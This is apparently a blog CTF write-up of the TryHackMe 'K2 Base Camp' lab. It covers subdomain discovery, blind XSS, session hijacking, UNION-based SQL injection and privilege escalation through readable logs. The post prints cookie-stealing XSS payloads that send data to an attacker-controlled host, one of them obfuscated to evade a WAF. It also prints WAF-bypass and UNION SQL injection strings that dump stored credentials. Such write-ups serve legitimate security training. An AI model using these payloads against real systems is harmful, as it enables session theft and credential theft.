Skip to main content
  1. CTF write-ups/

TryHackMe: K2-BaseCamp

·3094 words·15 mins
Liam Smydo
Author
Liam Smydo
Hi, I’m Liam. This site contains my various cybersecurity projects, CTF write-ups, and labs, including detailed technical write-ups and different resources I find useful.
Table of Contents

Overview
#

Challenge: K2 Base Camp
Platform: TryHackMe
Difficulty: Hard

Key Skills: Web Enumeration, Virtual Host Discovery, JWT Token Manipulation, SQL Injection, Linux Privilege Escalation

Challenge Description
#

You have been asked to run a vulnerability test on the K2 network in order to see if there is any way that a malicious actor would be able to infiltrate.

The IT team assures you that the network is secure and that you won’t be able to make your way up the mountain.

They have only provided you with their external website called k2.thm.

Are you able to make your way through the mountain?

The challenge sets us up with a single domain (k2.thm) and challenges us to find a way into the K2 network despite the IT team’s confidence in their security posture.


Reconnaissance
#

Port Scanning
#

I started with a RustScan to quickly identify open ports, which pipes its output to nmap for detailed scanning.

┌──(parallels㉿Kali)-[~/targets/k2/base-camp]                                                             
└─$ rustscan -a 10.80.182.241 -- -A -oN scan.txt                                                                                                                                                                    
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.                                                                                                                                                            
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |                                                                                                                                
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |                                                  
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'                                    
The Modern Day Port Scanner.                                                                              
________________________________________                                                    
: http://discord.skerritt.blog         :                                                                                   
: https://github.com/RustScan/RustScan :                                                                                                                                                                                                               
 --------------------------------------                                                                                                                                                                                                                
RustScan: Because guessing isn't hacking.                                                                                                                                                                           
                                                                                                          
[~] The config file is expected to be at "/home/parallels/.rustscan.toml"                                                                                                                                                                              
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers        
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.                                               
Open 10.80.182.241:22                                                                       
Open 10.80.182.241:80                       
[~] Starting Script(s)                                                                                    
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -oN scan.txt" on ip 10.80.182.241                                                                                     
Depending on the complexity of the script, results may take some time to appear.
                    
Nmap scan report for 10.80.182.241                           
Host is up, received echo-reply ttl 62 (0.089s latency).     
Scanned at 2026-02-02 10:07:31 EST for 18s                                                                                 
                                                                                                                           
PORT   STATE SERVICE REASON         VERSION                                                                                                                                                                                                                                                                                                                                                                                                                                                                   
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)                                                                                         
                                                                                                   
80/tcp open  http    syn-ack ttl 62 nginx 1.18.0 (Ubuntu)                 
|_http-title: Dimension by HTML5 UP                                       
|_http-server-header: nginx/1.18.0 (Ubuntu)                               
| http-methods:                                                           
|_  Supported Methods: OPTIONS HEAD GET                                                                                                                                                              
                                                                                                                           
Uptime guess: 26.559 days (since Tue Jan  6 20:43:28 2026)                                                 
Network Distance: 3 hops                                                                                                   
TCP Sequence Prediction: Difficulty=262 (Good luck!)                                                                       
IP ID Sequence Generation: All zeros                                                                                       
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                    

Key Findings:

  • Port 22 (SSH): OpenSSH 8.2p1 Ubuntu - likely our entry point once we find credentials
  • Port 80 (HTTP): nginx 1.18.0 serving an HTML5 UP template website

The limited attack surface suggested we’d need to focus our efforts on the web application.

Web Enumeration - Port 80
#

Navigating to http://k2.thm, I was greeted with a website for the K2 IT team:

image.png

The site featured a contact form, but testing showed that none of the buttons were functional:

image.png

This appeared to be a static site, so I needed to dig deeper to find any dynamic functionality or hidden endpoints.

Vulnerability Scanning
#

Nuclei Scan
#

I ran Nuclei to check for known vulnerabilities and misconfigurations:

┌──(parallels㉿Kali)-[~/targets/k2/base-camp]
└─$ nuclei -target http://k2.thm -fr                                                                                                                                                    

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.6.2

                projectdiscovery.io

[INF] Current nuclei version: v3.6.2 (outdated)
[INF] Current nuclei-templates version: v10.3.8 (latest)
[INF] New templates added in latest release: 457
[INF] Templates loaded for current scan: 9630
[INF] Executing 9628 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 2 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2207 (Reduced 2085 Requests)
[INF] Using Interactsh Server: oast.fun
[waf-detect:nginxgeneric] [http] [info] http://k2.thm
[ssh-password-auth] [javascript] [info] k2.thm:22
[ssh-auth-methods] [javascript] [info] k2.thm:22 ["["publickey","password"]"]
[ssh-sha1-hmac-algo] [javascript] [info] k2.thm:22
[ssh-server-enumeration] [javascript] [info] k2.thm:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.7"]
[CVE-2023-48795] [javascript] [medium] k2.thm:22 ["Vulnerable to Terrapin"]
[openssh-detect] [tcp] [info] k2.thm:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.7"]
[options-method] [http] [info] http://k2.thm ["OPTIONS, HEAD, GET"]
[tech-detect:nginx] [http] [info] http://k2.thm
[http-missing-security-headers:content-security-policy] [http] [info] http://k2.thm
[http-missing-security-headers:x-frame-options] [http] [info] http://k2.thm
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://k2.thm
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://k2.thm
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://k2.thm
[http-missing-security-headers:strict-transport-security] [http] [info] http://k2.thm
[http-missing-security-headers:permissions-policy] [http] [info] http://k2.thm
[http-missing-security-headers:x-content-type-options] [http] [info] http://k2.thm
[http-missing-security-headers:referrer-policy] [http] [info] http://k2.thm
[http-missing-security-headers:clear-site-data] [http] [info] http://k2.thm
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://k2.thm
[nginx-eol:version] [http] [info] http://k2.thm ["1.18.0"]
[nginx-version] [http] [info] http://k2.thm ["nginx/1.18.0"]
[caa-fingerprint] [dns] [info] k2.thm
[INF] Scan completed in 1m. 23 matches found.

Notable Findings:

  • nginx version 1.18.0 (outdated)
  • Multiple missing security headers
  • SSH vulnerable to CVE-2023-48795 (Terrapin attack)

Nothing immediately exploitable, but the outdated nginx version was worth noting.

Nikto Scan
#

I also ran Nikto to check for common web vulnerabilities:

┌──(parallels㉿Kali)-[~/targets/k2/base-camp]
└─$ nikto -host http://k2.thm       
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.80.182.241
+ Target Hostname:    k2.thm
+ Target Port:        80
+ Start Time:         2026-02-02 10:13:44 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET .

+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.

[... output truncated for brevity ...]

The Nikto scan confirmed the security header issues but didn’t reveal any critical vulnerabilities on the main domain.

Virtual Host Discovery
#

Since the main website wasn’t giving much, I decided to enumerate virtual hosts to see if there were any subdomains or alternate hostnames configured on the server. Using ffuf for vhost fuzzing:

ffuf -u http://10.80.182.241 -H "Host: FUZZ.k2.thm" -w /path/to/wordlist -fs <filter_size>

This revealed two additional virtual hosts:

  • admin.k2.thm - Admin portal (jackpot!)
  • it.k2.thm - IT department subdomain

After adding these to my /etc/hosts file, I navigated to each subdomain to explore further.

At admin.k2.thm we uncover a login ui appearing to be for the IT ticket management site

image.png

Default creds admin:admin not work

image.png

At it.k2.thm we find the login ui for ticket management system for the it team. we also note that there is a sign up feature. Can we just sign up and access the panel?

image.png

we try creating a test account

image.png

after registering we see it succeeded

image.png

We are authenticated and met with a ticketing submission dashboard.

image.png

lets submit filler data

image.png

after submitting we see a message that the ticket was submitted successfully and it will be reviewed shortly

image.png

Lets see if we can access stored tickets from anywhere. Lets fuzz the /dashboard url

After fuzzing it.k2.thm and it.k2.tm/dashboard I found nothing new.

image.png

So it looks like the way in could be through blind injection. The message “ticket submitted successfully! it will be reviewed shortly” gives me a hint that maybe there is some script simulating a user instantly clicking whatever gets sent to the tickets box. So lets send a malicious ticket with a blind xss payload as the description to see if we get a click.

lets test for stored/blind xss using this xss payload from payloads all the things to see if our hosted web server gets a callback, confirming a simulated user click

we can use this data grabber payload from payloads all the things github to test if we have blind xss

image.png

Payload:

<script>document.location='http://192.168.164.168:8081/XSS/grabber.php?c='+document.domain</script>

We can upload the xss payload in the description field in hopes that a simulater user “clicks” it

We start our http listener then upload the payload

image.png

A short moment after the xss payload was uploaded, we notice we get a callback to our http server. We have successfully found blind xss!

image.png

Now lets exploit this xss vulnerability by returning the cookie of whatever user is clicking on this xss filled ticket.

I will use this xss payload to return the cookie

<script>document.location='http://192.168.164.168:8081/XSS/grabber.php?c='+document.cookie</script>

all we do is change the document.domain part to document.cookie.

after submitting this xss payload we see a waf filter detected this paylaod as malicious. It must be treating document.cookie as malicious because document.domain successfully executed.

image.png

Knowing document.cookie is what gets us flagged, we can try to obfuscate the document.cookie part by creating a variable and naming it document[’coo’+’kie’]

Then we can just call our defined variable which javascript evaluates as document.cookie bypassing the waf.

payload

<script>var c = document['coo' + 'kie']; fetch('http://192.168.164.168:8081/log?c=' + c);</ script>

image.png

It successfully worked! we have returned the cookie of whatever user clicked on the xss filled ticket.


Initial Access - Session Token Manipulation
#

Discovering the JWT Token
#

We have successfully captured the users session token.

image.png

The session token appeared to be Base64 encoded, which is a common encoding scheme for JSON Web Tokens. I decided to decode it using CyberChef to see what information it contained.

Analyzing the Token
#

After Base64 decoding the token, I discovered it was indeed a JWT containing the following claims:

image.png

The decoded token revealed:

  • Username: james
  • Role: admin
  • LoggedIn: true

This was a significant finding! The token belonged to an admin user named James, and it appeared the application was using client side session tokens without proper server side validation or signing. This meant I could potentially impersonate the admin user by simply copying his session token.

Impersonating the Admin
#

To test this theory, I:

  1. Navigated to admin.k2.thm/dashboard
  2. Replaced my session token cookie with James’s token using a cookie editor browser extension
  3. Refreshed the page

Success! I was now authenticated as the admin user James and had access to the administrative dashboard:

image.png

The dashboard revealed what appeared to be a ticket management system with several users visible:

  • smokey
  • hazel
  • paco
  • jenny

image.png

These usernames could be useful later in the engagement.


Exploitation - SQL Injection
#

Initial Testing
#

The dashboard featured a search functionality that allowed filtering tickets by title. I decided to test this input field for SQL injection vulnerabilities since it was clearly interacting with a database.

First, I tried entering “i got it” (matching Paco’s ticket title) to see how the application handled the input:

image.png

The application filtered tickets by that name, confirming database query behavior. This was a good sign that SQL injection might be possible.

Confirming SQL Injection
#

To test for SQL injection, I entered a single quote (') into the search box:

image.png

Result: A 500 Internal Server Error!

This error response was a strong indicator that the single quote was being executed as part of the SQL query and causing a syntax error. This meant the application was likely vulnerable to SQL injection.

Bypassing the WAF
#

I attempted to use a classic boolean based SQL injection payload:

' OR 1=1 #

However, this triggered a WAF that detected the attack and reset my session: (except it didnt actually reset the session, it just said so)

image.png

The WAF was clearly filtering common SQL injection keywords like OR. I needed to find an alternative syntax that would bypass the filter.

Logical Operator Bypass
#

Instead of using the OR keyword, I used its logical operator equivalent ||:

' || '1'='1

image.png

Success! This payload bypassed the WAF and returned all tickets because the statement evaluated to true. The WAF wasn’t filtering the || operator, which is functionally equivalent to OR in SQL.

To confirm this was working as expected, I tested a false condition:

' || '1'='2

image.png

As expected, no tickets were returned. We now had confirmed SQL injection!

Note: At this point, the machine IP changed to 10.80.164.31 due to instance refresh.

Determining the Table Structure
#

I attempted to extract table names and database version information using standard queries, but the WAF blocked all direct metadata queries using keywords like SELECT, TABLE, etc. I needed a different approach.

Since this was a reflected SQL injection (the results were being displayed back to us), I decided to try a UNION-based attack. The application was displaying user, title, and description for each ticket, suggesting the query was selecting at least three columns.

Finding the Column Count
#

UNION-based SQL injection requires matching the number of columns in the original query. I started testing:

1' UNION SELECT null-- -

Result: 500 Internal Server Error

1' UNION SELECT null,null-- -

Result: 500 Internal Server Error

1' UNION SELECT null,null,null-- -

image.png

Result: 200 OK! The dashboard updated showing “none none none”

Why did this work? This payload returned a 200 OK because it satisfied the structure of the original SQL query. By providing three values (null, null, null) in the UNION SELECT, we matched the expected number of columns in the original query. This prevented a syntax error and allowed the query to execute successfully, resulting in a valid response instead of a 500 internal server error. Even though we used NULLs, they still count as valid data and are displayed in the output.

Now we could use this UNION SELECT injection to visually reflect database data back to us.

Extracting Database Information
#

Enumerating Tables
#

I replaced one of the NULL placeholders with a query to extract table names from the database:

1' UNION SELECT null, null, table_name FROM information_schema.tables WHERE table_schema=database()-- -

image.png

This revealed several tables, including one particularly interesting table: admin_auth

Enumerating Columns
#

Next, I extracted the column names from the admin_auth table:

1' UNION SELECT null, null, column_name FROM information_schema.columns WHERE table_name='admin_auth'-- -

image.png

The table contained columns for:

  • admin_username
  • admin_password
  • email

Perfect! This table was storing admin credentials.

Dumping Credentials
#

Finally, I dumped all the credentials from the admin_auth table using CONCAT to display them in a readable format:

1' UNION SELECT null, null, CONCAT(admin_username, ':', admin_password, ':', email) FROM admin_auth-- -

image.png

Jackpot! We extracted multiple admin users with their passwords stored in cleartext

Since James was our initial target user (we impersonated him earlier), I decided to try SSH with his credentials first.


Initial Access - User Flag
#

Using the credentials extracted from the SQL injection, I successfully authenticated as James via SSH:

ssh james@10.80.164.31

After logging in, I immediately found the user flag in James’s home directory:

image.png

User flag captured!

Privilege Escalation
#

Now that we are James, do some enumeration to see how we can escilate to root

Enumeration as James
#

I ran LinPEAS to enumerate potential privilege escalation vectors. One finding immediately stood out:

image.png

James was a member of the adm group. This is significant because members of the adm group have read access to system log files.

Understanding the ADM Group
#

A quick search confirmed that the adm group allows users to view log files in /var/log:

image.png

LinPEAS confirmed this by showing that James could read numerous log files:

image.png

Finding Additional Users
#

LinPEAS also revealed the system’s users with console access, which helped answer Question 4 (What are the users’ full names?):

image.png

The users with login shells were:

  • James
  • Rose
  • root

Log File Analysis
#

Since I had read access to log files, I searched through them for any exposed credentials. I used grep to search for the keyword “password” across all accessible logs:

grep -r "password" /var/log/ 2>/dev/null

image.png

This search revealed a password for the user Rose in one of the log files:

rose&password=RdzQ7MSKt)fNaz3!

It appeared that Rose had accidentally submitted her password in a web form, and it was logged by the application.

Lateral Movement Attempt
#

I attempted to switch to the Rose user with the discovered password:

su rose

image.png

Failed. The password didn’t work for Rose.

Pivoting to Root
#

Since Rose was the only other user with console access besides root, I decided to try the password with the root account:

su root

image.png

Success! The password worked for root, and I gained root-level access to the system.

Root flag captured!

Answering Challenge Questions
#

Question 3: Rose’s Actual Password
#

After gaining root access, I explored Rose’s home directory to find additional information. Reading her bash history file revealed the answer to Question 3:

image.png

Rose had accidentally typed their password without a space between su command, and their password. causing it to be saved in her bash history. This is actually a common real world mistake that I bet most people have done before!

The bash history showed her actual password that she meant to type after su, but instead typed it as a standalone command.


Key Takeaways
#

Vulnerabilities Exploited
#

  1. Insecure Session Management - JWT tokens stored client-side without proper validation allowed session hijacking
  2. SQL Injection - Unsanitized user input in the ticket search functionality enabled database extraction
  3. Weak WAF Bypass - WAF filtering could be bypassed using logical operators instead of keywords
  4. Cleartext Password Storage - Admin credentials stored without encryption in the database
  5. Sensitive Log File Access - ADM group membership exposed credentials in log files
  6. Password Reuse - The same password was used across different accounts (Rose’s password worked for root)

Lessons Learned
#

For Red Team:

  • Always enumerate virtual hosts and subdomains - the main site may not be the primary attack surface
  • When encountering WAF filters, try alternative syntax (operators instead of keywords)
  • UNION-based SQL injection requires matching the column count of the original query
  • ADM group membership is a valuable privilege escalation vector for log file analysis
  • Check bash history files - users often accidentally expose credentials

For Blue Team:

  • Implement proper JWT signing and server-side session validation
  • Use parameterized queries or prepared statements to prevent SQL injection
  • Never store passwords in cleartext - use strong hashing algorithms with salting
  • Implement proper WAF rules that catch alternative syntax and operators
  • Restrict log file permissions and ensure sensitive data isn’t logged
  • Educate users about password hygiene and common mistakes (like typing passwords into the terminal)
  • Avoid password reuse across different accounts, especially for privileged users

Tools Used
#

  • RustScan/Nmap - Port scanning and service enumeration
  • Nuclei - Vulnerability scanning
  • Nikto - Web server scanning
  • ffuf - Virtual host discovery
  • CyberChef - JWT token decoding
  • LinPEAS - Linux privilege escalation enumeration

Conclusion
#

K2 Base Camp was an excellent challenge that demonstrated a realistic attack chain from initial reconnaissance through privilege escalation. The challenge highlighted the importance of proper input validation, secure session management, and the dangers of storing sensitive information in logs and history files.

The progression felt natural: discovering hidden subdomains, exploiting weak authentication mechanisms, leveraging SQL injection to extract credentials, and finally using log file access to escalate privileges. Each step built upon the previous one, creating a satisfying exploitation chain.

Thanks for reading! If you enjoyed this write-up or have questions, feel free to reach out.